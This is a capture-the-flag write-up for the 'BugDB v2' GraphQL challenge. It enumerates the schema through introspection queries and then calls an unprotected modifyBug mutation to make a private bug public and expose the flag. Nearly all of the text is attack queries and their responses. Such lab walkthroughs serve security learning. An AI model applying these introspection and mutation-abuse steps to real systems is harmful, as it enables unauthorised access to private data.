BugDB v2¶
Web, GraphQL
Sequel to v1
Introspection queries¶
Enumerate available schema types¶
{
__schema {
types {
name
kind
}
}
}
{
"data": {
"__schema": {
"types": [
{
"name": "Query",
"kind": "OBJECT"
},
{
"name": "Node",
"kind": "INTERFACE"
},
{
"name": "ID",
"kind": "SCALAR"
},
{
"name": "UsersConnection",
"kind": "OBJECT"
},
{
"name": "PageInfo",
"kind": "OBJECT"
},
{
"name": "Boolean",
"kind": "SCALAR"
},
{
"name": "String",
"kind": "SCALAR"
},
{
"name": "UsersEdge",
"kind": "OBJECT"
},
{
"name": "Users",
"kind": "OBJECT"
},
{
"name": "Int",
"kind": "SCALAR"
},
{
"name": "Bugs",
"kind": "OBJECT"
},
{
"name": "MyMutations",
"kind": "OBJECT"
},
{
"name": "modifyBug",
"kind": "OBJECT"
},
{
"name": "__Schema",
"kind": "OBJECT"
},
{
"name": "__Type",
"kind": "OBJECT"
},
{
"name": "__TypeKind",
"kind": "ENUM"
},
{
"name": "__Field",
"kind": "OBJECT"
},
{
"name": "__InputValue",
"kind": "OBJECT"
},
{
"name": "__EnumValue",
"kind": "OBJECT"
},
{
"name": "__Directive",
"kind": "OBJECT"
},
{
"name": "__DirectiveLocation",
"kind": "ENUM"
}
]
}
}
}
We have some mutations this time...interesting
Query Discovery¶
{
__schema {
queryType {
fields {
name
args {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
}
}
{
"data": {
"__schema": {
"queryType": {
"fields": [
{
"name": "node",
"args": [
{
"name": "id",
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "ID",
"kind": "SCALAR"
}
}
}
]
},
{
"name": "user",
"args": [
{
"name": "before",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "after",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "first",
"type": {
"name": "Int",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "last",
"type": {
"name": "Int",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "findUser",
"args": [
{
"name": "username",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "findBug",
"args": [
{
"name": "_",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "allUsers",
"args": [
{
"name": "before",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "after",
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "first",
"type": {
"name": "Int",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "last",
"type": {
"name": "Int",
"kind": "SCALAR",
"ofType": null
}
}
]
},
{
"name": "allBugs",
"args": []
}
]
}
}
}
}
Enumerate the Mutations¶
{
__type(name: "MyMutations") {
fields {
name
args {
name
description
type {
name
kind
ofType {
name
kind
}
}
}
}
}
}
{
"data": {
"__type": {
"fields": [
{
"name": "modifyBug",
"args": [
{
"name": "id",
"description": null,
"type": {
"name": "Int",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "private",
"description": null,
"type": {
"name": "Boolean",
"kind": "SCALAR",
"ofType": null
}
},
{
"name": "text",
"description": null,
"type": {
"name": "String",
"kind": "SCALAR",
"ofType": null
}
}
]
}
]
}
}
}
What to do¶
Trying to list bugs using allBugs()
:
query {
allBugs {
id
text
private
reporter {
id
}
reporterId
}
}
{
"data": {
"allBugs": [
{
"id": "QnVnczox",
"text": "This is an example bug",
"private": false,
"reporter": {
"id": "VXNlcnM6MQ=="
},
"reporterId": 1
}
]
}
}
Use the mutation modifyBug()
to modify the privacy of Bug with id 2:
mutation {
modifyBug(id: 2, private: false) {
ok
bug {
id
text
reporterId
}
}
}
{
"data": {
"modifyBug": {
"ok": true,
"bug": null
}
}
}
Query allBugs()
again:
{
"data": {
"allBugs": [
{
"id": "QnVnczox",
"text": "This is an example bug",
"private": false,
"reporter": {
"id": "VXNlcnM6MQ=="
},
"reporterId": 1
},
{
"id": "QnVnczoy",
"text": "^FLAG^0b6a2cde031b3bffd4d3181237e7a8aaa5e54bddd1eed1118834ecd6d879520e$FLAG$",
"private": false,
"reporter": {
"id": "VXNlcnM6Mg=="
},
"reporterId": 2
}
]
}
}